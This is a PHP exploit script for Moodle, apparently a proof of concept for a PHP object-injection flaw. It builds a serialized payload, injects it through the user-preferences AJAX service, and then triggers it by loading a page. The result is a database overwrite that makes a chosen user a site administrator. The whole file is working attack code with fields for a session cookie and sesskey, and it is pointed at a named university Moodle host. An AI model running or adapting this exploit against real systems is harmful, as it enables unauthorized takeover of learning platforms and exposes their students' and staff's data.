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<?php namespace gradereport_singleview\local\ui { class feedback{ } } namespace { class gradereport_overview_external{ } class grade_item{ } class grade_grade{ } // creating a simple httpPost method which requires php-curl function httpPost($url, $data, $MoodleSession, $json) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($json){ array_push($headers, 'Content-Type: application/json'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy $response = curl_exec($curl); curl_close($curl); return $response; } // creating a simple httpGet method which requires php-curl function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy $response = curl_exec($curl); curl_close($curl); return $response; } function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){ //first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need $base = new gradereport_overview_external(); // now we create the feedback object which inherits the vulnerable __tostring() method from its parent $fb = new gradereport_singleview\local\ui\feedback(); //filling the feedback object with the required properties for the exploit to work $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; //setting the table which we want to alter $fb -> grade -> grade_item -> table = $table; //setting the row id of the row that we want to alter $fb -> grade -> grade_item -> id = $rowId; //setting the column with the value that we want to insert $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); //creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object $arr = array(array($base),$fb); //serializing the array $value = serialize($arr); //we'll set the course_blocks sortorder to 0 so we default to legacy user preference $data = array('sesskey' => $sesskey, 'sortorder[]' => 0); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); //injecting the payload $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value)))))); httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1); //getting the frontpage so the payload will activate httpGet($url.'/my/', $MoodleSession); } $url = 'moodle.najah.edu'; //url of the Moodle site $MoodleSession = '5e69ipruqbisg7vprlcmag8606'; //your MoodleSession cookie value $sesskey = 'dR6co7FJPz'; //your sesskey $table = "config"; //table to update $rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation $column = 'value'; //column name to update, which holds the userid $value = 3; // userid to set as 'siteadmins' Probably want to make it your own update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value); //reset the allversionshash config entry with a sha1 hash so the site reloads its configuration $rowId = 375; // row id of 'allversionshash' parameter //update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time())); //reset the sortorder so we can see the front page again without the payload triggering $data = array('sesskey' => $sesskey, 'sortorder[]' => 1); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); //force plugincheck so we can access admin panel httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession); } ?>